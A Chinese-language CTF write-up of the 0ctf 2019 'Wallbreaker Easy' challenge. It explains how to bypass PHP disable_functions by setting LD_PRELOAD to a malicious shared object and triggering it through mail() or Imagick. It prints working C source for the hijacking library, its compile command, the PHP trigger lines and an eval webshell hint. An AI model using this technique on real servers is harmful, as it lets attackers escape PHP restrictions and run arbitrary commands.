利用LD_PRELOAD绕过disbale_functions

0x00 0ctf2019-Wallbreaker Easy

在刚刚结束的0ctf中有一个Web题,提供了webshell,但是禁用了执行命令的函数。在查询资料的时候知道了可以通过LD_PRELOAD绕过disbale_functions的方法。学到的东西在这里记录一下。

0x01 Wallbreaker Easy Writeup

首先记录一下这道题的解题过程。

index.php

1
2
3
4
5
6
Imagick is a awesome library for hackers to break `disable_functions`.
So I installed php-imagick in the server, opened a `backdoor` for you.
Let's try to execute `/readflag` to get the flag.
Open basedir: /var/www/html:/tmp/415c92e8be7c68409ca6bd369d87482f
Hint: eval($_POST["backdoor"]);

index.php就是一句话木马,密码是backdoor。提示我们用Imagick插件绕过disable_functions,执行/readflag来获得flag。并给出了open basedir

首先查看一下disable_functions。payload:backdoor=echo ini_get('disable_functions');

除了默认设置禁用的pcntl的一系列函数还禁用了system,exec,shell_exec,popen,proc_open,passthru,symlink,link,syslog,imap_open,ld,mail

一开始去找了Imagick插件的漏洞,但都在当前版本中被修复了。之后看到了LD_PRELOAD利用mail()函数绕过disable_functions的方法。和Imagick结合,成功拿到了flag。

0x02 Sendmail+LD_PRELOAD绕过disable_functions

1
在 UNIX 的动态链接库的世界中,LD_PRELOAD 是一个有趣的环境变量,它可以影响程序运行时的链接,它允许你定义在程序运行前优先加载的动态链接库。

当程序运行时需要调用系统共享对象中的函数时,我们可以通过设置LD_PRELOAD来优先加载我们编写的恶意代码来劫持原本系统共享对象的代码。

攻击过程:
1、生成含有恶意代码的动态链接程序。
2、运用putenv来设置LD_PRELOAD,优先调用我们编写的程序。
3、通过webshell触发函数。

很多文章以sendmail为例子。利用readelf -Ws /usr/sbin/sendmail查看其调用的库函数,从中选择了geteuid()函数来劫持。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
#define _GNU_SOURCE
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
extern char** environ;
int geteuid ()
{
const char* cmdline = "ls > /var/www/html/test.txt";
int i;
for (i = 0; environ[i]; ++i) {
if (strstr(environ[i], "LD_PRELOAD")) {
environ[i][0] = '\0';
}
}
system(cmdline);
}

程序运行,共享库的geteuid()被调用时,通过system()执行命令。

在尽量和服务器相同的环境中将它编译为一个共享对象。

gcc -shared -fPIC exp.c -o exp.so

.so文件传输到服务器中,运用php代码设置为LD_PRELOAD

1
2
putenv("LD_PRELOAD=/var/www/exp.so");
mail("admin@admin.com","","","","");

此时在/var/www/html/目录下就会产生test.txt。

因为利用了sendmail调用geteuid(),进行了劫持,所以没有安装sendmail时无法使用这个函数。

在这道题中,并没有sendmail,也就无法劫持getuid()函数。

0x03 C 语言扩展修饰符 attribute((constructor))

1
2
3
GNU C 的一大特色就是__attribute__ 机制。__attribute__ 可以设置函数属性(Function Attribute )、变量属性(Variable Attribute )和类型属性(Type Attribute )。
__attribute__ ((constructor))会使函数在main()函数之前被执行。

如果我们在我们的函数之前采用这个修饰符,那么程序在加载系统共享对象的时候会优先执行我们的函数,这样就可以不用对特定的函数进行劫持,直接绕过disable_functions

修改后的payload:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
#define _GNU_SOURCE
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
extern char** environ;
__attribute__ ((__constructor__)) void preload (void)
{
const char* cmdline = "/readflag > /tmp/415c92e8be7c68409ca6bd369d87482f/asd";
int i;
for (i = 0; environ[i]; ++i) {
if (strstr(environ[i], "LD_PRELOAD")) {
environ[i][0] = '\0';
}
}
system(cmdline);
}

同时上传一个doc文件,用Imagick加载。

因为没有了特定函数劫持的限制,只要我们执行mail函数,不管有没有安装sendmail都可以直接绕过disable_functions

参考文章

PHP disable_functions Bypass 的方法探究
无需sendmail:巧用LD_PRELOAD突破disable_functions
bypass_disablefunc_via_LD_PRELOAD/bypass_disablefunc.c